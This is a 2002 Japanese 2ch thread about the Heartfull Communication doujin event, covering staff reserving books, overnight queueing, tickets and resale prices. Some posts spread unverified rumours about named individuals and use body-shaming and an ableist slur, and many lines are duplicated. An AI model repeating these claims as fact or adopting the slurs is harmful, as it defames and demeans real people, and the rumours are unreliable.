【ZQN】Heartfull Communication その7【YQN】
1 ：名無しさん＠どーでもいいことだが。：
2002年11月4日に池袋サンシャインシティで開催された
「Heartfull Communication」について語りつつも
常に『ZQN』と『YQN』の監視を欠かさないスレです。
＜ハトコミ顛末記＞
http://www.geocities.co.jp/Bookend-Ryunosuke/7728/hatokomi.html
＜公式サイト＞
http://www.heartfull.info
＜ZQNサイト＞
ttp://zekuu.com/
＜YQNサイト＞
ttp://www.aq.wakwak.com/~tange/yokota/index.html
＜過去スレ＞
【悲喜】Heartfull Communication その６【怨嗟】
http://curry.2ch.net/test/read.cgi/doujin/1036418901/l10
【交流】Heartfull Communication その５【激突】
http://curry.2ch.net/test/read.cgi/doujin/1036365275/l10
【決戦】Heartfull Communication その４【開幕】
http://curry.2ch.net/test/read.cgi/doujin/1036248844/l10
【突撃】Heartfull Communication その３【玉砕】
http://curry.2ch.net/test/read.cgi/doujin/1035387823/l10
【混乱】Heartfull Communication その２【必至】
http://curry.2ch.net/test/read.cgi/doujin/1034325433/（dat落ち）
【第2の】Heartfull Communication【レヴォ？】
http://curry.2ch.net/test/read.cgi/doujin/1031764627/（dat落ち）
＜関連スレ＞
HEARTFULL COMMUNICATION 被害者友の会 Zの1
http://curry.2ch.net/test/read.cgi/doujin/1036394977/l10
「Heartfull Communication」について語りつつも
常に『ZQN』と『YQN』の監視を欠かさないスレです。
＜ハトコミ顛末記＞
http://www.geocities.co.jp/Bookend-Ryunosuke/7728/hatokomi.html
＜公式サイト＞
http://www.heartfull.info
＜ZQNサイト＞
ttp://zekuu.com/
＜YQNサイト＞
ttp://www.aq.wakwak.com/~tange/yokota/index.html
＜過去スレ＞
【悲喜】Heartfull Communication その６【怨嗟】
http://curry.2ch.net/test/read.cgi/doujin/1036418901/l10
【交流】Heartfull Communication その５【激突】
http://curry.2ch.net/test/read.cgi/doujin/1036365275/l10
【決戦】Heartfull Communication その４【開幕】
http://curry.2ch.net/test/read.cgi/doujin/1036248844/l10
【突撃】Heartfull Communication その３【玉砕】
http://curry.2ch.net/test/read.cgi/doujin/1035387823/l10
【混乱】Heartfull Communication その２【必至】
http://curry.2ch.net/test/read.cgi/doujin/1034325433/（dat落ち）
【第2の】Heartfull Communication【レヴォ？】
http://curry.2ch.net/test/read.cgi/doujin/1031764627/（dat落ち）
＜関連スレ＞
HEARTFULL COMMUNICATION 被害者友の会 Zの1
http://curry.2ch.net/test/read.cgi/doujin/1036394977/l10
|
|
|
2 ：名無しさん＠どーでもいいことだが。：02/11/06 01:16 ID:hPPT6Yfk
一足おそかったね
（（（（（（（（（（（（（（（（終了）））））））））））））））
（（（（（（（（（（（（（（（（終了）））））））））））））））
3 ：名無しさん＠どーでもいいことだが。：02/11/06 01:16 ID:LbQ8E2Y/
2
4 ：名無しさん＠どーでもいいことだが。：02/11/06 01:18 ID:w5irjqPd
偽スレを上げとくか。
つーか削除以来出しとけよ、立てた奴。
つーか削除以来出しとけよ、立てた奴。
5 ：名無しさん＠どーでもいいことだが。：02/11/06 01:20 ID:0KliKD26
6 ：名無しさん＠どーでもいいことだが。：02/11/06 01:20 ID:sRFZxgpp
7 ：名無しさん＠どーでもいいことだが。：02/11/06 01:21 ID:dsePmZ2u
無言で立てるのは勘弁してくれです。
向こうを使うのなら、削除依頼出してきます(´･ω･`)ｼｮﾎﾞｰﾝ
向こうを使うのなら、削除依頼出してきます(´･ω･`)ｼｮﾎﾞｰﾝ
9 ：名無しさん＠どーでもいいことだが。：02/11/06 01:26 ID:68rhxfjL
11 ：名無しさん＠どーでもいいことだが。：02/11/06 13:02 ID:H+AoCrx3
削除されないようなので次スレとして使うためとりあえず保全ｶｷｺsage
12 ：名無しさん＠どーでもいいことだが。：02/11/10 20:27 ID:/kMMcZZu
ここで
某浅原とか舷本みたいな馬鹿が常駐すれば
ある意味「ふさわしい」締めくくり
のような気がするよ。
某浅原とか舷本みたいな馬鹿が常駐すれば
ある意味「ふさわしい」締めくくり
のような気がするよ。
13 ：名無しさん＠どーでもいいことだが。：02/11/10 20:59 ID:NUcKMa+i
透ﾀｿｷﾎﾞﾝﾇ
ｺﾞｺﾞｺﾞｺﾞｺﾞｺﾞ･･･
ｺﾞｺﾞｺﾞｺﾞｺﾞｺﾞ･･･
14 ：名無しさん＠どーでもいいことだが。：02/11/10 21:50 ID:pHk8EVGw
その八・・・・
15 ：名無しさん＠どーでもいいことだが。：02/11/10 22:55 ID:tE7LUNCr
>14
重複スレの再利用だからしょうがないっす
重複スレの再利用だからしょうがないっす
16 ：名無しさん＠どーでもいいことだが。：02/11/10 23:11 ID:Kd4RPtNK
ホントにデジ○ヴァの日記のレスがかなり香ばしくなってる・・・・・・
17 ：名無しさん＠どーでもいいことだが。：02/11/10 23:25 ID:6XoRY9AX
中─横─市─Ｋ
│ │ │
Ｃ ─是─新─┐
│ │ │ ....│
甘─.３ T Ｓ
│ │ │
Ｃ ─是─新─┐
│ │ │ ....│
甘─.３ T Ｓ
18 ： ◆mcv3DK//f. ：02/11/11 00:21 ID:K9akMA0K
なるほど！
どこの即売会かは言えんが・・・
とある即売会の会議中に、ハトコミスタッフが来ていて
323の本をひらつかせて帰っていった。
とある即売会の会議中に、ハトコミスタッフが来ていて
323の本をひらつかせて帰っていった。
20 ：名無しさん＠どーでもいいことだが。：02/11/12 02:55 ID:qhWLX1JN
では、このスレを「Heartfull Communication その8」として活用するということで。
前スレ
【ZQN】Heartfull Communication その7【YQN】
http://curry.2ch.net/test/read.cgi/doujin/1036512850/l50
前スレ
【ZQN】Heartfull Communication その7【YQN】
http://curry.2ch.net/test/read.cgi/doujin/1036512850/l50
21 ：名無しさん＠どーでもいいことだが。：02/11/12 03:06 ID:LiIpnp4g
前スレ>>984の
＞ttp://www.geocities.co.jp/Playtown/2080/
＞つっこみが入ってますな
見て「ふむ」と一瞬思ったが、原のサイトじゃんか、コレ。
コイツはコイツでドール図パー艇主催しようとして・・・
＞ttp://www.geocities.co.jp/Playtown/2080/
＞つっこみが入ってますな
見て「ふむ」と一瞬思ったが、原のサイトじゃんか、コレ。
コイツはコイツでドール図パー艇主催しようとして・・・
22 ：名無しさん＠どーでもいいことだが。：02/11/12 03:10 ID:L8C1Oj/r
原のサイト
23 ：名無しさん＠どーでもいいことだが。：02/11/12 03:13 ID:g4mdMAxk
原のサイト？
24 ：名無しさん＠どーでもいいことだが。：02/11/12 06:21 ID:JdRv1tE6
>>21
ハトコミと同日に開催されたドールショウの主催「だった」人ですな＞原えりすん（松浦まさふみ）
お人形界のよく解らん内紛の末に叩き出されたみたいだが。
俺も三崎尚人＝サトミたんと今まで認識していたのだが、何か影武者でもいるんだろうか？
つーか、サトミたんって是空の尻拭いでハトコミの混対総括やってたんじゃなかったか？
ハトコミと同日に開催されたドールショウの主催「だった」人ですな＞原えりすん（松浦まさふみ）
お人形界のよく解らん内紛の末に叩き出されたみたいだが。
俺も三崎尚人＝サトミたんと今まで認識していたのだが、何か影武者でもいるんだろうか？
つーか、サトミたんって是空の尻拭いでハトコミの混対総括やってたんじゃなかったか？
25 ：名無しさん＠どーでもいいことだが。：02/11/12 07:20 ID:YmjW+ejq
マルチ王国、二度と書かないとか
いいつつずるずるねたをひっぱる
なー
そんなに悔しかったのか(w
いいつつずるずるねたをひっぱる
なー
そんなに悔しかったのか(w
26 ：名無しさん＠どーでもいいことだが。：02/11/12 07:26 ID:4MEUio0u
http://curry.2ch.net/test/read.cgi/doujin/1036512850/991
さすがにこれだけ粘着がいれば、意見もあげたくなくなるが（ｗ
好きこのんで噛まれたがるバカはいない
たかが同人活動で（ｗ
さすがにこれだけ粘着がいれば、意見もあげたくなくなるが（ｗ
好きこのんで噛まれたがるバカはいない
たかが同人活動で（ｗ
27 ：名無しさん＠どーでもいいことだが。：02/11/12 08:05 ID:t9V+WWbO
つか、マンガまで描いてるくせにペラ本にお客取られるような
ヤツは恥ずかしい。才能ないんじゃね？
自分の才能を棚に上げて人を妬むなんてイヤねー。
ヤツは恥ずかしい。才能ないんじゃね？
自分の才能を棚に上げて人を妬むなんてイヤねー。
28 ：名無しさん＠どーでもいいことだが。：02/11/12 09:11 ID:KswzfPZa
同人総研に掲示板があるから、ちゃんとした意見を言えて勇気のある
ﾔｼは書きこんでみたら？
ﾔｼは書きこんでみたら？
29 ：名無しさん＠どーでもいいことだが。：02/11/12 09:44 ID:t9V+WWbO
ちゃんとした意見は言いたいけど、勇気のないヤツは
このスレの良さげな意見をコピペして、
マンガ喫茶から貼りつけてみたら？
http://www.st.rim.or.jp/~nmisaki/cgi-bin/bbs/bbs6/bbs/index2.html
このスレの良さげな意見をコピペして、
マンガ喫茶から貼りつけてみたら？
http://www.st.rim.or.jp/~nmisaki/cgi-bin/bbs/bbs6/bbs/index2.html
30 ：名無しさん＠どーでもいいことだが。：02/11/12 11:02 ID:q6XnsvVN
サトミ＝三崎なのは羞恥の事実かと思っていただが。
しかし24の後半は違うな。
サトミは混対じゃない。当然統括でもない。
統括は新野か市川。名目だけなら横田って可能性もあるな。
サトミはやってるとしたらサークルへの個別対応。
しかし24の後半は違うな。
サトミは混対じゃない。当然統括でもない。
統括は新野か市川。名目だけなら横田って可能性もあるな。
サトミはやってるとしたらサークルへの個別対応。
31 ：名無しさん＠どーでもいいことだが。：02/11/12 12:12 ID:jBWwrKgv
彼がどっち側の人間か認識してないで読んでるやついるな。
お前らちゃんと認識して読まないとスタッフとサークルに搾取されるだけだぞ。
お前らちゃんと認識して読まないとスタッフとサークルに搾取されるだけだぞ。
32 ：名無しさん＠どーでもいいことだが。：02/11/12 12:18 ID:oi5r1d3z
色紙に関しての確認なんたらとやらのＴＥＬとかくんのかしら？
ま、こなかったらカタログ代金分の楽しみはこれで終わったな
と言う感じですわ。
誰ぞいらっしゃいますか？実際来た人は。
ま、こなかったらカタログ代金分の楽しみはこれで終わったな
と言う感じですわ。
誰ぞいらっしゃいますか？実際来た人は。
33 ：名無しさん＠どーでもいいことだが。：02/11/12 13:08 ID:txsNXhfo
わかった
香川か
香川か
34 ：名無しさん＠どーでもいいことだが。：02/11/12 17:54 ID:yTr3iRUl
35 ：名無しさん＠どーでもいいことだが。：02/11/12 18:04 ID:ZpkV4bDR
煉瓦のＢＢＳが削除って何があったんじゃ。ﾊﾄｺﾐの所業のせい？
36 ：名無しさん＠どーでもいいことだが。：02/11/12 19:12 ID:kUw8hjF4
>24
原えりすんって松浦まさふみだったの？？
まーどっちの名にしても小物といえば小物だけど…
原えりすんって松浦まさふみだったの？？
まーどっちの名にしても小物といえば小物だけど…
37 ：名無しさん＠どーでもいいことだが。：02/11/12 19:28 ID:eKDnZx39
三崎大先生ことサトミちゃんは「ゲスト様」でしたが何か？（藁
38 ：名無しさん＠どーでもいいことだが。：02/11/12 20:05 ID:agWFl/DN
39 ：名無しさん＠どーでもいいことだが。：02/11/12 20:46 ID:q9MqZhA7
中─横─市─Ｋ
│ │ │
Ｃ ─是─新─┐
│ │ │ ....│
甘─.３ T Ｓ
│ │
株式会社ドリームステージエンターテインメント
│ │ │
Ｃ ─是─新─┐
│ │ │ ....│
甘─.３ T Ｓ
│ │
株式会社ドリームステージエンターテインメント
40 ：名無しさん＠どーでもいいことだが。：02/11/12 20:48 ID:ZUSf8uVx
当日、サトミと岩衛門は見かけたけど
前スレ985に出てた「見てくれかっこいいオヤジ」（激藁）には会わなかったな。
つうか、どれが三崎だ？
3人とも何度となく言葉を交わしたことがあるのに未だにわからん漏れは逝ってよし。
前スレ985に出てた「見てくれかっこいいオヤジ」（激藁）には会わなかったな。
つうか、どれが三崎だ？
3人とも何度となく言葉を交わしたことがあるのに未だにわからん漏れは逝ってよし。
41 ：名無しさん＠どーでもいいことだが。：02/11/12 22:15 ID:DHRFbppW
もうこれ以上デジラバの日記荒らさないでよ～！
なかじ○ゆかさんに迷惑かけないでよ～！
なかじ○ゆかさんに迷惑かけないでよ～！
42 ：名無しさん＠どーでもいいことだが。：02/11/12 22:56 ID:agWFl/DN
づらのＨＰが消えた。復活するんだろうか…
43 ：名無しさん＠どーでもいいことだが。：02/11/12 23:01 ID:6E9MqKO4
>>42
消えてないよ？
消えてないよ？
44 ：名無しさん＠どーでもいいことだが。：02/11/12 23:02 ID:aadFZcN+
Ｋ、Ｃ、Ｔ、Ｓあたりはなんなのだろう。
それに図の下についたドリームなんとやらはなんなのだろう。
（３とＳにだけ関係あるの？）
それに図の下についたドリームなんとやらはなんなのだろう。
（３とＳにだけ関係あるの？）
45 ：名無しさん＠どーでもいいことだが。：02/11/12 23:05 ID:2OK01Fgx
つか、デジラバってこういうポジションに成りあがるために
散々、時限やら突発やら牛歩やら駄テクを駆使してきたんだから、
本望だろ？（ｗ
目標達成オメデトウ。まだショボイけど。
散々、時限やら突発やら牛歩やら駄テクを駆使してきたんだから、
本望だろ？（ｗ
目標達成オメデトウ。まだショボイけど。
46 ：名無しさん＠どーでもいいことだが。：02/11/12 23:12 ID:vP95rD/E
47 ：名無しさん＠どーでもいいことだが。：02/11/12 23:22 ID:2OK01Fgx
>>46
ばれました？
ばれました？
48 ：名無しさん＠どーでもいいことだが。：02/11/12 23:23 ID:FfvaZu2o
残虐の叩きネタが尽きたので、次のターゲットでも探しているんだろう（藁＞45
49 ：名無しさん＠どーでもいいことだが。：02/11/12 23:23 ID:2OK01Fgx
あ、でも時限と突発はけっこうやってるよ。
50 ：名無しさん＠どーでもいいことだが。：02/11/12 23:25 ID:T9APLvnY
デジラバがやったのは、発行間隔を短くするために
他所からネタをこっそり借りてくることくらいだろ。
これについては少し前から作家間では割と話題になってる。
イベント当日に周辺ｻｸｰﾙに迷惑かけたことは、あまりなかった気が…
他所からネタをこっそり借りてくることくらいだろ。
これについては少し前から作家間では割と話題になってる。
イベント当日に周辺ｻｸｰﾙに迷惑かけたことは、あまりなかった気が…
51 ：名無しさん＠どーでもいいことだが。：02/11/12 23:27 ID:FfvaZu2o
時限は知っている限りで２月のコスカだけ。
突発は一切なし。（事前にＨＰで公表する）
ということで、今からこのスレは2OK01Fgxの無知を晒すスレになりました（藁
突発は一切なし。（事前にＨＰで公表する）
ということで、今からこのスレは2OK01Fgxの無知を晒すスレになりました（藁
52 ：名無しさん＠どーでもいいことだが。：02/11/12 23:36 ID:LmWKKyTr
俺としてはデジラバは葉同人だったころが一番好きだった訳だが。
53 ：名無しさん＠どーでもいいことだが。：02/11/12 23:42 ID:1rgOfLy9
>52
あそこのは葉同人だったのかなあ……そら確かに葉のキャラだけは使ってるけど。
個人的には任意とRO同人に入ってからのほうが好き。
あそこのは葉同人だったのかなあ……そら確かに葉のキャラだけは使ってるけど。
個人的には任意とRO同人に入ってからのほうが好き。
54 ：名無しさん＠どーでもいいことだが。：02/11/12 23:46 ID:M42lCUH+
55 ：名無しさん＠どーでもいいことだが。：02/11/12 23:57 ID:BNNfgeIA
色紙はどうなった？
56 ：名無しさん＠どーでもいいことだが。：02/11/12 23:57 ID:ru1HAkZZ
色紙？
57 ：名無しさん＠どーでもいいことだが。：02/11/13 00:15 ID:PUuKMake
58 ：名無しさん＠どーでもいいことだが。：02/11/13 00:16 ID:LNgc20I/
しかし何だかんだいって影響力のある三崎氏が、
ある意味徹夜組を容認したような発言をしたのはいただけませんな。
「いや、あれはあくまでもハトコミだけでの話で、コミケやレヴォではそうはいきません（笑）」
などと言い訳を書きそうなんで釘を刺しておくけど。
今度の三拡で、棚木一派あたりがこの件を持ち出して、またネチネチとした長文質問状を
代表に叩き付ける予感がするが、責任とれるのか？
ある意味徹夜組を容認したような発言をしたのはいただけませんな。
「いや、あれはあくまでもハトコミだけでの話で、コミケやレヴォではそうはいきません（笑）」
などと言い訳を書きそうなんで釘を刺しておくけど。
今度の三拡で、棚木一派あたりがこの件を持ち出して、またネチネチとした長文質問状を
代表に叩き付ける予感がするが、責任とれるのか？
59 ：名無しさん＠どーでもいいことだが。：02/11/13 00:31 ID:FmoG4G8h
>58
質問用紙を選ぶのは米やん側だから、長文の質問状はスルーされるって。
だいたい、質問状は当日しか手に入らんから、そんなに長文も書けんやろ。
質問用紙を選ぶのは米やん側だから、長文の質問状はスルーされるって。
だいたい、質問状は当日しか手に入らんから、そんなに長文も書けんやろ。
60 ：名無しさん＠どーでもいいことだが。：02/11/13 01:59 ID:ii0OrFHl
気付くとあれからもう１週間も経ってたか･･･
61 ：名無しさん＠どーでもいいことだが。：02/11/13 03:25 ID:XOyNCfJy
なんでハトコミは「やりたかったからしょうがないじゃん」でまとめられて、
RAG-FES2はそれでまとめられなかったんだろう・・・
と、三崎さんの記事を読んで思いました。
RAG-FES2はそれでまとめられなかったんだろう・・・
と、三崎さんの記事を読んで思いました。
62 ：名無しさん＠どーでもいいことだが。：02/11/13 03:56 ID:YFWyPcEF
つーか、ハトコミに関する不満って結局のところ
・徹対やらなかったせいで俺が欲しい本買えなかったじゃねぇか
・グッズに制限かけなかったせいで俺が買えなかったじゃねぇか
つー２点に集約されてる気がするんだが。
徹対をやらなかったことによる以後のイベントへの悪影響がどうとかいってる奴がいるが、
あの悪名高いリアルこみパでは徹対が行われたにも関わらず、以降のイベントでの徹夜
早朝来場に悪影響しか残してない。
それを考えれば、徹対があろうがなかろうが、欲しい物が手に入らなかった奴が多ければ
徹夜組が増えるのは変わらないと分かりそうなものだが。
・徹対やらなかったせいで俺が欲しい本買えなかったじゃねぇか
・グッズに制限かけなかったせいで俺が買えなかったじゃねぇか
つー２点に集約されてる気がするんだが。
徹対をやらなかったことによる以後のイベントへの悪影響がどうとかいってる奴がいるが、
あの悪名高いリアルこみパでは徹対が行われたにも関わらず、以降のイベントでの徹夜
早朝来場に悪影響しか残してない。
それを考えれば、徹対があろうがなかろうが、欲しい物が手に入らなかった奴が多ければ
徹夜組が増えるのは変わらないと分かりそうなものだが。
63 ：名無しさん＠どーでもいいことだが。：02/11/13 04:02 ID:hoKHCMBq
自分はサークルだったが、徹夜ペナはやるべきだったと思う。
徹夜ペナが無かったというのは帰ってきてからここで知ったが、
もうかなりの脱力感に襲われた。
やっぱ、徹夜はいけないと言うスタンスはとり続けるべきだと思う。
どんな即売会においても。
徹夜ペナが無かったというのは帰ってきてからここで知ったが、
もうかなりの脱力感に襲われた。
やっぱ、徹夜はいけないと言うスタンスはとり続けるべきだと思う。
どんな即売会においても。
64 ：名無しさん＠どーでもいいことだが。：02/11/13 05:31 ID:gCIYPD0C
不満なのは、イベント主催による
後手後手の対応によって振り回された事。
カタログの当日販売無しってど～ゆ～事よ。
前もってチラシに買いとけよ・・・。
イベント自体が悪かったから騒いでたんじゃなく
それ以前から対応がいい加減だから騒いでたんじゃなかったっけ？
後手後手の対応によって振り回された事。
カタログの当日販売無しってど～ゆ～事よ。
前もってチラシに買いとけよ・・・。
イベント自体が悪かったから騒いでたんじゃなく
それ以前から対応がいい加減だから騒いでたんじゃなかったっけ？
65 ：名無しさん＠どーでもいいことだが。：02/11/13 06:31 ID:PneIq4Nz
三崎の総括にｸﾛｰﾊﾞｰが喧嘩売ってんね～ｗ
66 ：名無しさん＠どーでもいいことだが。：02/11/13 08:05 ID:sa1NU2Gs
ネット批評家としては勝ち戦を見過ごす手はねーだろ（ｗ
67 ：名無しさん＠どーでもいいことだが。：02/11/13 09:31 ID:XOyNCfJy
>>65
どこよ？
どこよ？
68 ：名無しさん＠どーでもいいことだが。：02/11/13 10:44 ID:MSOL3T5m
前スレで300円の本が1万5千とか逝ってたけど、2万5500円で落札されてるぞ(藁
ループしまくった奴、ボロ儲けだな。本当にいくらでも回れた感じだったし。
ループしまくった奴、ボロ儲けだな。本当にいくらでも回れた感じだったし。
69 ：名無しさん＠どーでもいいことだが。：02/11/13 10:47 ID:bCF7v2hh
70 ：名無しさん＠どーでもいいことだが。：02/11/13 11:25 ID:TKff5+c+
71 ：名無しさん＠どーでもいいことだが。：02/11/13 11:30 ID:w+rf/QYZ
今回の件で大暴落。
72 ：名無しさん＠どーでもいいことだが：02/11/13 12:12 ID:UC8MCRTm
徹夜ペナとかぬかす前に、はっきりいっとく。
徹 夜 す ん な ｗ
サークル組が…って言う前に言っておく。
交流や、サークル同士の交換は良いけど
チケで入ってたら、
一 番 に 買 う 側 じ ゃ ね ー だ ろ
徹 夜 す ん な ｗ
サークル組が…って言う前に言っておく。
交流や、サークル同士の交換は良いけど
チケで入ってたら、
一 番 に 買 う 側 じ ゃ ね ー だ ろ
73 ：名無しさん＠どーでもいいことだが。：02/11/13 12:49 ID:TKff5+c+
まぁ、最近の準備会は買うためにチケット配布してるってことで。
コミケの重鎮のサトミたんがＧＵＥＳＴなんだし、そうなんだろ。
コミケの重鎮のサトミたんがＧＵＥＳＴなんだし、そうなんだろ。
74 ：名無しさん＠どーでもいいことだが。：02/11/13 13:03 ID:V13yaQBd
http://www.geocities.co.jp/Playtown/2080/
イベント（２）
メールで逆ツッコミ頂きました。
前日からの会場費やらスタッフの宿泊代やら備品代やら
カタログのテレカ費用やらいろいろ追加されてるそうです。
「へー」
コメントしたいことはあるのでそのうちに。
「今、火をつければおもしろいのに」
それよ、
断片情報こねくり合わせて仮想悪を作り上げ
集中的にそれを叩くことは始めると制御効かなくなるのよ。
これに関してはそういうやられ方されたこともあるから
あえて、機を見るに鈍 で行くよん。
イベント（２）
メールで逆ツッコミ頂きました。
前日からの会場費やらスタッフの宿泊代やら備品代やら
カタログのテレカ費用やらいろいろ追加されてるそうです。
「へー」
コメントしたいことはあるのでそのうちに。
「今、火をつければおもしろいのに」
それよ、
断片情報こねくり合わせて仮想悪を作り上げ
集中的にそれを叩くことは始めると制御効かなくなるのよ。
これに関してはそういうやられ方されたこともあるから
あえて、機を見るに鈍 で行くよん。
75 ：名無しさん＠どーでもいいことだが。：02/11/13 13:22 ID:yNjfH5Ku
300円の本ってどれ？
76 ：名無しさん＠どーでもいい転売屋。：02/11/13 14:01 ID:AmexBJmn
っていうか、チケット貰えないヤシ＝サークルの人にコミニュケーションがとれ
ない自閉症野郎かスタッフする気もないのにスタッフ叩く野郎か本買う気がない
ヤツかそのへんだろ？正直このスレ見てると同人界にいかに自閉症野朗が多いか
解るな。俺は今回チケット使わなくても大概買えたからどーでもいい。冬は当然
チケット入場だしな。
ない自閉症野郎かスタッフする気もないのにスタッフ叩く野郎か本買う気がない
ヤツかそのへんだろ？正直このスレ見てると同人界にいかに自閉症野朗が多いか
解るな。俺は今回チケット使わなくても大概買えたからどーでもいい。冬は当然
チケット入場だしな。
77 ：名無しさん＠どーでもいいことだが。：02/11/13 14:13 ID:u2LaRVYn
>>76
一般参加者全員がこぞってサクールチケットをゲッチュするために奔走しはじめたら、
それはそれで面白い事になりそうだが（ｗ
数多の善良な一般参加者の良識的行動により、コミケはかろうじて平衡を保っていると思われ。
一般参加者全員がこぞってサクールチケットをゲッチュするために奔走しはじめたら、
それはそれで面白い事になりそうだが（ｗ
数多の善良な一般参加者の良識的行動により、コミケはかろうじて平衡を保っていると思われ。
78 ：名無しさん＠どーでもいいことだが。：02/11/13 14:15 ID:A2vBtNHk
79 ：名無しさん＠どーでもいいことだが。：02/11/13 15:00 ID:VREUqDoy
80 ：名無しさん＠どーでもいいことだが。：02/11/13 15:49 ID:yLVzfLSI
81 ：名無しさん＠どーでもいいことだが。：02/11/13 16:42 ID:U5VznyaR
82 ：名無しさん＠どーでもいいことだが。：02/11/13 18:09 ID:iGJZBi94
三崎なんかもうダメすぎ。
66の言うとおり勝ち戦を仕掛けないわけないだろう（笑）
イワエモンもしっかりしたこといってるのになぁ（笑）
お前だけだな、三崎（笑）
根本的に読みにくいんだよ。文字ばっかりつめて言い訳だけかい。
66の言うとおり勝ち戦を仕掛けないわけないだろう（笑）
イワエモンもしっかりしたこといってるのになぁ（笑）
お前だけだな、三崎（笑）
根本的に読みにくいんだよ。文字ばっかりつめて言い訳だけかい。
83 ：名無しさん＠どーでもいいことだが。：02/11/13 18:12 ID:L6IeFKzQ
つか、チケット入手できるくらいで得意になってるヤツって一体…。
あんなのある種の人を大事にしてみたり、ちょっと下っ端になって
動いてみたりすれば誰でも手に入るじゃん。
徹夜と一緒で、良識やプライドを保つかどうかの問題だけじゃん。
人並み以上の能力なんていらんのに。ただの小悪党。
その一線を超えておいて、取り置きできるレベルになってないのは
人間的に魅力のない証拠だなｗ
得意になるのは取り置きのできるレベルになってからにしろ。
あんなのある種の人を大事にしてみたり、ちょっと下っ端になって
動いてみたりすれば誰でも手に入るじゃん。
徹夜と一緒で、良識やプライドを保つかどうかの問題だけじゃん。
人並み以上の能力なんていらんのに。ただの小悪党。
その一線を超えておいて、取り置きできるレベルになってないのは
人間的に魅力のない証拠だなｗ
得意になるのは取り置きのできるレベルになってからにしろ。
84 ：名無しさん＠どーでもいいことだが。：02/11/13 18:19 ID:iGJZBi94
>>83 定番の脳のない煽りですから放置しておきましょう。
ただ、チケットを持ってる人が悪党みたいな言い方はどうかと
思いますが。
俺のまわりじゃ今年は余る勢いで人がたらんぐらい。
でもないところにはないのよね。
本当に最近のイベントってサークルの人とかのために
あるとしか思えないな。外から並んでる人かわいそうやで。
まだコミケはいいけどさ、本当ハトコミとか見るとな…
ただ、チケットを持ってる人が悪党みたいな言い方はどうかと
思いますが。
俺のまわりじゃ今年は余る勢いで人がたらんぐらい。
でもないところにはないのよね。
本当に最近のイベントってサークルの人とかのために
あるとしか思えないな。外から並んでる人かわいそうやで。
まだコミケはいいけどさ、本当ハトコミとか見るとな…
85 ：名無しさん＠どーでもいいことだが。：02/11/13 18:36 ID:L6IeFKzQ
>>84
もちろん、善人もいるのはわかってますよ（＾＾
つか、同人やって長くなると、求めなくてもくれる人も
出てくるし。ごく普通の友人関係でね。
ｵﾚも昼から売り子っていう超ＶＩＰ待遇でもらうことも
あるし（ｗ もちろん同待遇であげることもある（泣
こんなもんを自慢するヤツの気がしれん。
もちろん、善人もいるのはわかってますよ（＾＾
つか、同人やって長くなると、求めなくてもくれる人も
出てくるし。ごく普通の友人関係でね。
ｵﾚも昼から売り子っていう超ＶＩＰ待遇でもらうことも
あるし（ｗ もちろん同待遇であげることもある（泣
こんなもんを自慢するヤツの気がしれん。
86 ：名無しさん＠どーでもいいことだが。：02/11/13 18:46 ID:QPhDRWr4
やっぱバイトでもして金稼いで
ﾏﾀｰﾘと店で同人漁っている方が俺には向いてるようだ
なんかもう疲れたよ
余計なお世話だが、藻前等もあんまり無茶すんなよ
逝 く ぞ ー ー ー ！ ！ ！
ﾏﾀｰﾘと店で同人漁っている方が俺には向いてるようだ
なんかもう疲れたよ
余計なお世話だが、藻前等もあんまり無茶すんなよ
逝 く ぞ ー ー ー ！ ！ ！
87 ：名無しさん＠どーでもいいことだが。：02/11/13 18:51 ID:GPq6KEjW
ｲ ｰ ｰ ｰ ﾁ ！ ！ ！
88 ：名無しさん＠どーでもいいことだが。：02/11/13 18:51 ID:ItnhkJfG
どっかのｻｸｰﾙのグッズ（クリアファイルだっけ？）を全部ｽﾀｰﾌが
取り置きしたっていうのは明らかに常軌を逸した行為、やり過ぎ。
他のｻｸｰﾙでも新刊を半分近く取り置きしたとか、ｽﾀｰﾌの
行為が目に余る。それでもハトコミを支持する三崎タンの脳味噌を疑うな。
一番モノを言うべき、また言わなければならない立場の人があの腰の引けた
ヘタレな評論しか出来ないのでは、この人の評価を改めねばならないだろう。
取り置きしたっていうのは明らかに常軌を逸した行為、やり過ぎ。
他のｻｸｰﾙでも新刊を半分近く取り置きしたとか、ｽﾀｰﾌの
行為が目に余る。それでもハトコミを支持する三崎タンの脳味噌を疑うな。
一番モノを言うべき、また言わなければならない立場の人があの腰の引けた
ヘタレな評論しか出来ないのでは、この人の評価を改めねばならないだろう。
89 ：名無しさん＠どーでもいいことだが。：02/11/13 18:52 ID:Xgmmb/0e
ﾆ ｰ ｰ ｰ ！ ！ ！
90 ：名無しさん＠どーでもいいことだが。：02/11/13 18:53 ID:0gCw6DqL
ｻ ｰ ｰ ｰ ﾝ ! ! !
91 ：名無しさん＠どーでもいいことだが。：02/11/13 18:55 ID:ywR/rLO5
>>86にオナじく
92 ：名無しさん＠どーでもいいことだが。：02/11/13 18:56 ID:yyLdxQvj
ｮ ｰ ｰ ｰ ﾝ ! ! !
93 ：名無しさん＠どーでもいいことだが。：02/11/13 19:20 ID:CW8AlM/Y
サトミはハトコミで大手の本を大量取り置き運んでいるところ目撃されている
なんとなんとサークル名が横田だた（藁）
コミケカタログ漫画のオタク女サトミちゃんのモデルになったデブだな
顔そっくり（でも禿げかかった中年男）
なんとなんとサークル名が横田だた（藁）
コミケカタログ漫画のオタク女サトミちゃんのモデルになったデブだな
顔そっくり（でも禿げかかった中年男）
94 ：名無しさん＠どーでもいいことだが。：02/11/13 19:28 ID:JZeW5GdJ
まー評論家なんかそんなもんだろ。
あれを有難がってた奴なんかいるのか？
そっちのほうの神経疑うんだが。
あれを有難がってた奴なんかいるのか？
そっちのほうの神経疑うんだが。
95 ：名無しさん＠どーでもいいことだが。：02/11/13 20:07 ID:w3tLEjAt
96 ：名無しさん＠どーでもいいことだが。：02/11/13 20:16 ID:VTrazXlc
>>95 必死だな（藁
97 ：名無しさん＠どーでもいいことだが。：02/11/13 20:18 ID:aX2cR6m9
98 ：名無しさん＠どーでもいいことだが。：02/11/13 20:42 ID:yiOtz8Ja
>>88
目に余るって、キミ、自分の目じゃ見てないっしょ？
目に余るって、キミ、自分の目じゃ見てないっしょ？
99 ：名無しさん＠どーでもいいことだが。：02/11/13 21:55 ID:eBlyQqyk
>>94
一種のメルクマール的機能は果たしてたんだがなあ。ハトコミまでは・・・
メルクマールにもならなくなってしまったと思いたくはないんだがなあ・・・
株的に言えば、岩田株急落かと見られたが堅調、三崎株続伸かと思われたがストップ安。
一種のメルクマール的機能は果たしてたんだがなあ。ハトコミまでは・・・
メルクマールにもならなくなってしまったと思いたくはないんだがなあ・・・
